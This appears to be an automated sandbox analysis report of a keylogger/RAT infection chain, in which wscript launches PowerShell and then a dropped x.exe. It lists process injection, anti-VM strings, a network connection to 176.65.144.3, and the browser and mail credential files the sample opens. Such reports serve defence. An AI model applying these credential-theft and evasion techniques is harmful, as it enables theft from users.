Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 594640	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3187	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3216	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Window / User API: threadDelayed 8537	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Window / User API: threadDelayed 1333	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RUNPEE.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8040	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 8124	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 8080	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2172	Thread sleep count: 8537 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2172	Thread sleep count: 1333 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -597375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -596172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -595297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -594749s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2536	Thread sleep time: -594640s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 594640	Jump to behavior

Source: powershell.exe, 00000008.00000002.1444855858.000001DE770D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000003.1454191109.00000262062E2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1456833149.00000262062E7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1464059045.0000026208468000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1371839650.0000026208468000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1462474293.00000262062E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000008.00000002.1444855858.000001DE770D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: x.exe, 0000000A.00000002.1431442252.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: wscript.exe, 00000000.00000002.1464059045.0000026208430000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW06/
Source: x.exe, 0000000B.00000002.2536399101.0000000000F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll$

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 11_2_06849668 LdrInitializeThunk,

11_2_06849668

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 176.65.144.3 80

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory written: C:\Users\user\AppData\Local\Temp\x.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\WTRTRWFSHS.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\x.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RUNPEE.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\x.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c85409.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c85409.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c89c50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c89c50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1435246368.0000000002C85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x.exe PID: 2424, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c85409.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c85409.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c89c50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c89c50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1435246368.0000000002C85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x.exe PID: 2424, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\x.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\x.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c85409.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c85409.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c89c50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c89c50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1435246368.0000000002C85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2538337454.0000000002CF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x.exe PID: 2424, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c85409.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c85409.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c89c50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c89c50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1435246368.0000000002C85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x.exe PID: 2424, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 10.2.x.exe.44695b0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c85409.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c85409.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c89c50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.2c89c50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.x.exe.44695b0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1435246368.0000000002C85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
